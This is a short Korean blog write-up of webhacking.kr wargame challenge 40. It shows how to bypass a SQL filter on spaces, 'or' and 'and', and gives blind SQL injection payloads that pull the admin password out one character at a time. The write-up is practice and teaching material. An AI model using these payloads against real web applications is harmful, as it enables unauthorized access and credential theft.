write-up/webhacking.kr

40번

범고래_1 2016. 4. 6. 15:52


admin으로 로그인 해야하는듯 하다.

확인 결과, 필터링은 공백, or, and

공백은 %0a로, or는 ||로, and는 &&로 우회해준다.

단, &를 쓸 땐 %26로 써주어야 한다는 것을 주의하자.


여러 확인 결과, 예상되는 쿼리는,

select * from table where id='$_GET[id]' and pw='$_GET[pw]' and no=$_GET[no]

위와 같다.


?no=0 or no=2

no가 1일 때 id는 guest이고, no=2일 때 id값이 admin이라는 사실을 알아내었다.

예상할 수 있는 테이블의 형태는 

+------+-----+----+

|    id   |  pw   |  no  |

+------+-----+----+

| guest  | guest |  1   |

+------+-----+----+

| admin  | ????  |  2  |

+------+-----+----+



페이로드는 아래와 같다.

?no=0 or no=2 && length(pw)>5&id=dsf&pw=3

먼저 admin의 pw는 10글자이다.

이제 한 글자씩 잘라내어 알아내면 된다.

한 글자씩 잘라서, 10진수로 바꾸고, 2진수로 바꾸고, 다시 앞에서부터 한 글자씩 잘라준다.

이렇게 하면 7회의 쿼리만으로 한 글자씩 알아낼 수 있다. 

?no=0 or no=2 && bin(ord(mid(pw,1,1)))&id=a&pw=a




'write-up > webhacking.kr' 카테고리의 다른 글

56번  (0) 2016.04.09
53번  (0) 2016.04.09
35번  (0) 2016.04.06
50번  (0) 2016.03.29
21번  (0) 2016.03.29